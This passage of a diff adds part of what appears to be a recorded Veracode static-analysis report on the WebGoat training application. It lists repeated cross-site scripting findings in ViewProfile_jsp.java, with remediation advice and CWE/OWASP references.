+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"194\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"171\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"65\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"116\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"155\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"189\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"69\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"179\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"32\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"145\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.htmlEncode().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
